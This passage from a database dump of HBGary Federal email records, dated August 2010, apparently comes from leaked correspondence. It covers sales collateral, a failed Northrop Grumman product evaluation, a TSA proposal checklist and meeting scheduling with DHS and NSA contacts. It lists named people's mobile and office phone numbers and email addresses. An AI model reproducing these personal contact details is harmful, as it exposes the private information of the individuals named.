<aaron@hbgary.com>','/aaron@hbgary.com/new/1297007884.M162056P14101Q4981.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Sales Collateral','nice.\r\n\r\nOn Aug 11, 2010, at 4:37 PM, Ted Vera wrote:\r\n\r\n> FYI --\r\n> \r\n> \r\n> ---------- Forwarded message ----------\r\n> From: David Gerulski \r\n> Date: Wed, Aug 11, 2010 at 2:17 PM\r\n> Subject: Sales Collateral\r\n> To: Ted Vera \r\n> \r\n> \r\n> Ted,\r\n> \r\n> Our first shot at a data sheet for the ipAwareness product.\r\n> \r\n> We should have updated docs in two weeks.\r\n> \r\n> Again, your logos will help me get this into a format you can use.\r\n> \r\n> Dave\r\n> \r\n> David Gerulski\r\n> VP Commercial Sales & Marketing\r\n> dgerulski@endgames.us\r\n> \r\n> 770.906.3283\r\n> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n> \r\n\r\n',13747,'aaron_hbgary_com/13747.html'),(10127,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007884.M426822P14101Q4982.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Sales Collateral','So ur sending me a check this week?\r\n\r\nAaron\r\n\r\nOn Aug 11, 2010, at 4:37 PM, Ted Vera wrote:\r\n\r\n> FYI --\r\n> \r\n> \r\n> ---------- Forwarded message ----------\r\n> From: David Gerulski \r\n> Date: Wed, Aug 11, 2010 at 2:17 PM\r\n> Subject: Sales Collateral\r\n> To: Ted Vera \r\n> \r\n> \r\n> Ted,\r\n> \r\n> Our first shot at a data sheet for the ipAwareness product.\r\n> \r\n> We should have updated docs in two weeks.\r\n> \r\n> Again, your logos will help me get this into a format you can use.\r\n> \r\n> Dave\r\n> \r\n> David Gerulski\r\n> VP Commercial Sales & Marketing\r\n> dgerulski@endgames.us\r\n> \r\n> 770.906.3283\r\n> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n> \r\n\r\n',1327,'aaron_hbgary_com/1327.html'),(10128,'2010-08-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007884.M685343P14101Q4983.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TASC','Chris and George Bakos spun us up to write an elaborate proposal for custom\r\ndevelopment of a covert monitoring system.  The only \"negative\" was that\r\nChris ignored me after we submitted the proposal.  I don\'t see how Leary\r\ncould have gotten anything negative from that.\r\n\r\nAnother negative might be that I recently told two NG IRAD teams that I was\r\nnot going to cooperate with their projects.  My reasoning is that there was\r\nno short term gain for HBGary.  They wanted my s/w and resources now but\r\nweren\'t putting any skin in the game for us.  (They say they wouldn\'t\r\nrequire any tech resources but I am certain they would.)\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 11, 2010 4:29 PM\r\nTo: Bob Slapnik\r\nSubject: Re: TASC\r\n\r\nMark was Chris Barnetts boss.\r\n\r\nOn Aug 11, 2010, at 4:28 PM, Bob Slapnik wrote:\r\n\r\n> Aaron and Ted,\r\n> \r\n> I don\'t know Mark Leary, but he might be referring to a bad experience\r\n> HBGary had with NG.\r\n> \r\n> In August 2009 we got an order for 2 Responder Pro and 4 training seats.\r\n> The NG manager was Bil Carter.  The software was recommended by Bob\r\nStanley\r\n> who was on his staff.  They were traditional disk forensics guys doing HR\r\n> investigation work, similar to the forensics that a law enforcement person\r\n> would do.  Bil and Bob went to the \"Using Responder Pro for Malware\r\n> Analysis\" class and were unable to follow the content.  The class was\r\n> focused on malware and they didn\'t know anything about malware.  Even\r\nafter\r\n> we had a tech guy spend 1-2 more days with them at their location, they\r\n> still weren\'t getting value.  One thing they wanted didn\'t work.\r\nResponder\r\n> didn\'t automatically recognize that the memory image was compressed so its\r\n> analysis failed.  Phil was new and didn\'t know he had to decompress before\r\n> analyzing.  Now Responder automatically decompresses.  We kept trying to\r\n> make it right, but ultimately they returned the software and they didn\'t\r\npay\r\n> anything.\r\n> \r\n> In hindsight they should have purchased two Responder Field Edition for a\r\n> whole lot less.  I went back with that offer but Bil didn\'t want to talk.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com] \r\n> Sent: Wednesday, August 11, 2010 3:35 PM\r\n> To: Barr Aaron\r\n> Cc: Bob Slapnik; Maria Lucas\r\n> Subject: TASC\r\n> \r\n> Aaron,\r\n> \r\n> Steve W mentioned that you should call Mark Leary who is now the CISO\r\n> for TASC to set up a demo for Responder Pro/ddna and Active Defense.\r\n> TASC could benefit from using these products on their own network, as\r\n> well as for their customers, and incident response, etc...   He also\r\n> mentioned that Mark \"may have a bad taste in his mouth\" from a\r\n> previous HBGary product demo/eval that he was involved in when he was\r\n> part of Northrop Grumman.  Bob/Maria, do you know any details of this?\r\n> Ideally we should try to address the concern(s) right up front with\r\n> Mark.\r\n> \r\n> Ted\r\n> \r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n> 02:34:00\r\n> \r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n02:34:00\r\n\r\n',16280,'aaron_hbgary_com/16280.html'),(10129,'2010-08-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007884.M953280P14101Q4984.eml','\"Ted Vera\" <ted@hbgary.com>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','RE: Sales Collateral','A few observations.....\r\n\r\nWill HBG Fed be reselling this?  Is so, you might want to brand it as HBGary\r\nFed\'s product.\r\n\r\nRight now you go to iptrust.com to see nothing but a graphic.  Doesn\'t\r\ninstill confidence.\r\n\r\nThe font quality looks poor in the pdf. Fuzzy.\r\n\r\nJust a taste thing..... I would not hyphenate words.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, August 11, 2010 4:38 PM\r\nTo: Bob Slapnik; Maria Lucas; mark@hbgary.com; Barr Aaron\r\nSubject: Fwd: Sales Collateral\r\n\r\nFYI --\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: David Gerulski \r\nDate: Wed, Aug 11, 2010 at 2:17 PM\r\nSubject: Sales Collateral\r\nTo: Ted Vera \r\n\r\n\r\nTed,\r\n\r\nOur first shot at a data sheet for the ipAwareness product.\r\n\r\nWe should have updated docs in two weeks.\r\n\r\nAgain, your logos will help me get this into a format you can use.\r\n\r\nDave\r\n\r\nDavid Gerulski\r\nVP Commercial Sales & Marketing\r\ndgerulski@endgames.us\r\n\r\n770.906.3283\r\n\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile\r\n719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n02:34:00\r\n\r\n',13540,'aaron_hbgary_com/13540.html'),(10130,'2010-08-11','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297007885.M285831P14101Q4985.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','HB Gary Status of delevrables for TSA ITSSS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis the current status that I have for material that is absolutely needed for\r\nthe proposal.\r\n\r\nPlease\r\nprovide these inputs by noon Thursday.\r\n\r\n&nbsp;\r\n\r\nThanx\r\n\r\n\r\nKirby\r\n\r\n703-966-7887\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  No.\r\n  \r\n  \r\n  Item\r\n  \r\n  \r\n  Format\r\n  \r\n  \r\n  Teams\r\n  \r\n  \r\n  Due\r\n  \r\n  \r\n  HBGary\r\n  \r\n \r\n \r\n  \r\n  1\r\n  \r\n  \r\n  Scalable Logo\r\n  \r\n  \r\n  PNG or high res\r\n  BMP \r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n  \r\n  Overdue\r\n  \r\n \r\n \r\n  \r\n  2\r\n  \r\n  \r\n  Company Info\r\n  \r\n  \r\n  Email text\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  3\r\n  \r\n  \r\n  Capabilities\r\n  Overview\r\n  \r\n  \r\n  Email text or\r\n  Word\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n  \r\n  Overdue\r\n  \r\n \r\n \r\n  \r\n  4\r\n  \r\n  \r\n  Capabilities\r\n  collateral\r\n  \r\n  \r\n  Any\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  5\r\n  \r\n  \r\n  Contact Info\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  6\r\n  \r\n  \r\n  Resumes\r\n  \r\n  \r\n  Attached\r\n  &quot;TSA-ITSS Resume&quot;, and name the file with the person\'s last name.\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  7\r\n  \r\n  \r\n  Past\r\n  Performance Short-list\r\n  \r\n  \r\n  Attached &quot;TSA-ITSS\r\n  Past Performance - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  8\r\n  \r\n  \r\n  Success stories\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  9\r\n  \r\n  \r\n  Experience\r\n  matrix\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  10\r\n  \r\n  \r\n  Benefits\r\n  Comparison Chart\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/10/10 5:00 PM\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  11\r\n  \r\n  \r\n  Surge Staff\r\n  Capacity\r\n  \r\n  \r\n  Attached\r\n  &quot;TSA-ITSSS Labor Categories - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n  \r\n  Overdue\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5035,'aaron_hbgary_com/5035.html'),(10131,'2010-08-11','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','/aaron@hbgary.com/new/1297007885.M491753P14101Q4986.eml','aaron@hbgary.com','Re: Number',' \r\n--------------------------\r\nSent using BlackBerry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Peace, Cheryl D\r\nSent: Mon Aug 09 13:54:23 2010\r\nSubject: Re: Number\r\n\r\nHi Cheryl,\r\n\r\nIt does.  I haven\'t met him personally.  Our sister company does work\r\nin a few different pockets on the bldg. And i am on the extended NANA\r\nteam.  I recently joined to stand up HBGary federal, a related but\r\nseparate company.  We manage all the work that requires clearances.\r\nWe exchange some technologies, but we have some separate developments\r\nas well. Mostly around threat intelligence and CNO/social media.\r\n\r\nI think there are some enabling tech to your mission but really need\r\nthat qualified.\r\n\r\nInterested to run some of the stuxnet stuff by u as well.\r\n\r\nAaron\r\n\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 9, 2010, at 9:27 AM, \"Peace, Cheryl D\"  wrote:\r\n\r\n> Aaron\r\n> Did a little checking and we already do busy with you guys.  Does the name\r\n> Tony Seager ring a bell?\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, August 06, 2010 10:56 AM\r\n> To: Peace, Cheryl D\r\n> Subject: Re: Number\r\n>\r\n> OK. If interested do you have some time to get together when you get back?\r\n> either next Friday or early the following week?\r\n> Aaron\r\n>\r\n> On Aug 6, 2010, at 10:44 AM, Peace, Cheryl D wrote:\r\n>\r\n>> I am in Europe till mid next week\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, August 05, 2010 10:57 PM\r\n>> To: Peace, Cheryl D\r\n>> Subject: Re: Number\r\n>>\r\n>> Hi Cheryl,\r\n>>\r\n>> Can I schedule an appointment with you to come by and chat for a few\r\n>> minutes?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jul 30, 2010, at 10:41 PM, Peace, Cheryl D wrote:\r\n>>\r\n>>> I am at Rao at the bar if you want to come by for a few. Meeting friends\r\n>> for a cocktail in a few\r\n>>> --------------------------\r\n>>> Sent using BlackBerry\r\n>>>\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: Peace, Cheryl D\r\n>>> Sent: Fri Jul 30 20:02:44 2010\r\n>>> Subject: Number\r\n>>>\r\n>>> Cheryl,\r\n>>>\r\n>>> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n>>> your number handy.  It will only take moment, but I have some\r\n>>> information for you.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal\r\n>>> 7195108478\r\n>>>\r\n>>> --\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> 719.510.8478\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',13830,'aaron_hbgary_com/13830.html'),(10132,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007885.M756577P14101Q4987.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Number','Sent from my iPadBegin forwarded message:From: &quot;Peace, Cheryl D&quot; &lt;cdpeace@nsa.gov&gt;\r\nDate: August 11, 2010 5:34:15 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Number\r\n--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Peace, Cheryl DSent: Mon Aug 09 13:54:23 2010Subject: Re: NumberHi Cheryl,It does.  I haven&#39;t met him personally.  Our sister company does work\r\nin a few different pockets on the bldg. And i am on the extended NANAteam.  I recently joined to stand up HBGary federal, a related butseparate company.  We manage all the work that requires clearances.\r\nWe exchange some technologies, but we have some separate developmentsas well. Mostly around threat intelligence and CNO/social media.I think there are some enabling tech to your mission but really need\r\nthat qualified.Interested to run some of the stuxnet stuff by u as well.AaronSent from my iPhone\r\nOn Aug 9, 2010, at 9:27 AM, &quot;Peace, Cheryl D&quot; &lt;cdpeace@nsa.gov&gt; wrote:Aaron\r\nDid a little checking and we already do busy with you guys.  Does the nameTony Seager ring a bell?\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Friday, August 06, 2010 10:56 AMTo: Peace, Cheryl DSubject: Re: Number\r\nOK. If interested do you have some time to get together when you get back?either next Friday or early the following week?\r\nAaronOn Aug 6, 2010, at 10:44 AM, Peace, Cheryl D wrote:\r\nI am in Europe till mid next week\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, August 05, 2010 10:57 PMTo: Peace, Cheryl D\r\nSubject: Re: Number\r\nHi Cheryl,\r\nCan I schedule an appointment with you to come by and chat for a fewminutes?\r\nAaron\r\nOn Jul 30, 2010, at 10:41 PM, Peace, Cheryl D wrote:\r\nI am at Rao at the bar if you want to come by for a few. Meeting friends\r\nfor a cocktail in a few--------------------------\r\nSent using BlackBerry\r\n\r\n----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Peace, Cheryl D\r\nSent: Fri Jul 30 20:02:44 2010Subject: Number\r\n\r\nCheryl,\r\nSorry to bother you but do you have a minute to talk.  I don&#39;t have\r\nyour number handy.  It will only take moment, but I have someinformation for you.\r\n\r\nAaron BarrCEO\r\nHBGary Federal7195108478\r\n\r\n--Aaron Barr\r\nCEOHBGary Federal Inc.\r\n719.510.8478\r\nAaron BarrCEO\r\nHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8393,'aaron_hbgary_com/8393.html'),(10133,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007886.M100436P14101Q4988.eml','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','Re: Number','Hi Cheryl,\r\n\r\n719.510.8478\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 11, 2010, at 5:34 PM, \"Peace, Cheryl D\"  wrote:\r\n\r\n>\r\n> --------------------------\r\n> Sent using BlackBerry\r\n>\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Mon Aug 09 13:54:23 2010\r\n> Subject: Re: Number\r\n>\r\n> Hi Cheryl,\r\n>\r\n> It does.  I haven\'t met him personally.  Our sister company does work\r\n> in a few different pockets on the bldg. And i am on the extended NANA\r\n> team.  I recently joined to stand up HBGary federal, a related but\r\n> separate company.  We manage all the work that requires clearances.\r\n> We exchange some technologies, but we have some separate developments\r\n> as well. Mostly around threat intelligence and CNO/social media.\r\n>\r\n> I think there are some enabling tech to your mission but really need\r\n> that qualified.\r\n>\r\n> Interested to run some of the stuxnet stuff by u as well.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Aug 9, 2010, at 9:27 AM, \"Peace, Cheryl D\"  wrote:\r\n>\r\n>> Aaron\r\n>> Did a little checking and we already do busy with you guys.  Does the name\r\n>> Tony Seager ring a bell?\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, August 06, 2010 10:56 AM\r\n>> To: Peace, Cheryl D\r\n>> Subject: Re: Number\r\n>>\r\n>> OK. If interested do you have some time to get together when you get back?\r\n>> either next Friday or early the following week?\r\n>> Aaron\r\n>>\r\n>> On Aug 6, 2010, at 10:44 AM, Peace, Cheryl D wrote:\r\n>>\r\n>>> I am in Europe till mid next week\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Thursday, August 05, 2010 10:57 PM\r\n>>> To: Peace, Cheryl D\r\n>>> Subject: Re: Number\r\n>>>\r\n>>> Hi Cheryl,\r\n>>>\r\n>>> Can I schedule an appointment with you to come by and chat for a few\r\n>>> minutes?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Jul 30, 2010, at 10:41 PM, Peace, Cheryl D wrote:\r\n>>>\r\n>>>> I am at Rao at the bar if you want to come by for a few. Meeting friends\r\n>>> for a cocktail in a few\r\n>>>> --------------------------\r\n>>>> Sent using BlackBerry\r\n>>>>\r\n>>>>\r\n>>>> ----- Original Message -----\r\n>>>> From: Aaron Barr \r\n>>>> To: Peace, Cheryl D\r\n>>>> Sent: Fri Jul 30 20:02:44 2010\r\n>>>> Subject: Number\r\n>>>>\r\n>>>> Cheryl,\r\n>>>>\r\n>>>> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n>>>> your number handy.  It will only take moment, but I have some\r\n>>>> information for you.\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal\r\n>>>> 7195108478\r\n>>>>\r\n>>>> --\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> 719.510.8478\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',6919,'aaron_hbgary_com/6919.html'),(10134,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007886.M444564P14101Q4989.eml','\"Thomas W. Conroy\" <Tom.Conroy@ngc.com>','Fwd: Number','FYI-Sent from my iPadBegin forwarded message:From: &quot;Peace, Cheryl D&quot; &lt;cdpeace@nsa.gov&gt;\r\nDate: August 11, 2010 5:34:15 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Number\r\n--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Peace, Cheryl DSent: Mon Aug 09 13:54:23 2010Subject: Re: NumberHi Cheryl,It does.  I haven&#39;t met him personally.  Our sister company does work\r\nin a few different pockets on the bldg. And i am on the extended NANAteam.  I recently joined to stand up HBGary federal, a related butseparate company.  We manage all the work that requires clearances.\r\nWe exchange some technologies, but we have some separate developmentsas well. Mostly around threat intelligence and CNO/social media.I think there are some enabling tech to your mission but really need\r\nthat qualified.Interested to run some of the stuxnet stuff by u as well.AaronSent from my iPhone\r\nOn Aug 9, 2010, at 9:27 AM, &quot;Peace, Cheryl D&quot; &lt;cdpeace@nsa.gov&gt; wrote:Aaron\r\nDid a little checking and we already do busy with you guys.  Does the nameTony Seager ring a bell?\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Friday, August 06, 2010 10:56 AMTo: Peace, Cheryl DSubject: Re: Number\r\nOK. If interested do you have some time to get together when you get back?either next Friday or early the following week?\r\nAaronOn Aug 6, 2010, at 10:44 AM, Peace, Cheryl D wrote:\r\nI am in Europe till mid next week\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, August 05, 2010 10:57 PMTo: Peace, Cheryl D\r\nSubject: Re: Number\r\nHi Cheryl,\r\nCan I schedule an appointment with you to come by and chat for a fewminutes?\r\nAaron\r\nOn Jul 30, 2010, at 10:41 PM, Peace, Cheryl D wrote:\r\nI am at Rao at the bar if you want to come by for a few. Meeting friends\r\nfor a cocktail in a few--------------------------\r\nSent using BlackBerry\r\n\r\n----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Peace, Cheryl D\r\nSent: Fri Jul 30 20:02:44 2010Subject: Number\r\n\r\nCheryl,\r\nSorry to bother you but do you have a minute to talk.  I don&#39;t have\r\nyour number handy.  It will only take moment, but I have someinformation for you.\r\n\r\nAaron BarrCEO\r\nHBGary Federal7195108478\r\n\r\n--Aaron Barr\r\nCEOHBGary Federal Inc.\r\n719.510.8478\r\nAaron BarrCEO\r\nHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11026,'aaron_hbgary_com/11026.html'),(10135,'2010-08-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007886.M866030P14101Q4990.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: Availability for scheduling meeting with TSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI am flying to San Antonio early Monday morning.&nbsp; But Maria and\r\nI will see him at GFIRST.&nbsp; Maybe we can grab him for a conference call with\r\nDale.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Wednesday, August 11, 2010 11:29 AM\r\nTo: Penny C. Hoglund\r\nCc: Bob Slapnik; Aaron Barr\r\nSubject: Fwd: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nfyi&nbsp; next week Doug\r\nmaughan is available Monday only and then he will be at GFIRST.&nbsp; See\r\nbelow.\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Berndt, Luke &lt;Luke.Berndt@dhs.gov&gt;\r\nDate: Wed, Aug 11, 2010 at 8:12 AM\r\nSubject: RE: Availability for scheduling meeting with TSA\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nCc: &quot;Beauchamp, Dale&quot; &lt;Dale.Beauchamp@dhs.gov&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood morning,\r\n\r\nI just checked with Doug. He is\r\navailable on the 16th next week and will be in the office til about\r\n1pm. He will be out on travel the rest of the week at the DREN conference and\r\nGFirst, not sure if either of you will be attending those.\r\n\r\n&nbsp;\r\n\r\nDoug is will be around the Aug 23-25, if\r\nthat lines up better.\r\n\r\n&nbsp;\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLuke\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com]\r\n\r\nSent: Wednesday, August 11, 2010 9:18 AM\r\nTo: Berndt, Luke\r\nCc: Beauchamp, Dale\r\nSubject: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi\r\nLuke\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\nis Doug\'s availability to meet with Dale next week?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10793,'aaron_hbgary_com/10793.html'),(10136,'2010-08-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007887.M166892P14101Q4991.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Availability for scheduling meeting with TSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHe will be there Thursday and Friday, schedule a meeting\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, August 11, 2010 3:09 PM\r\nTo: \'Maria Lucas\'; \'Penny C. Hoglund\'\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI am flying to San Antonio early Monday morning.&nbsp; But Maria\r\nand I will see him at GFIRST.&nbsp; Maybe we can grab him for a conference call\r\nwith Dale.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com]\r\n\r\nSent: Wednesday, August 11, 2010 11:29 AM\r\nTo: Penny C. Hoglund\r\nCc: Bob Slapnik; Aaron Barr\r\nSubject: Fwd: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nfyi&nbsp; next week Doug\r\nmaughan is available Monday only and then he will be at GFIRST.&nbsp; See\r\nbelow.\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Berndt, Luke &lt;Luke.Berndt@dhs.gov&gt;\r\nDate: Wed, Aug 11, 2010 at 8:12 AM\r\nSubject: RE: Availability for scheduling meeting with TSA\r\nTo: Maria Lucas 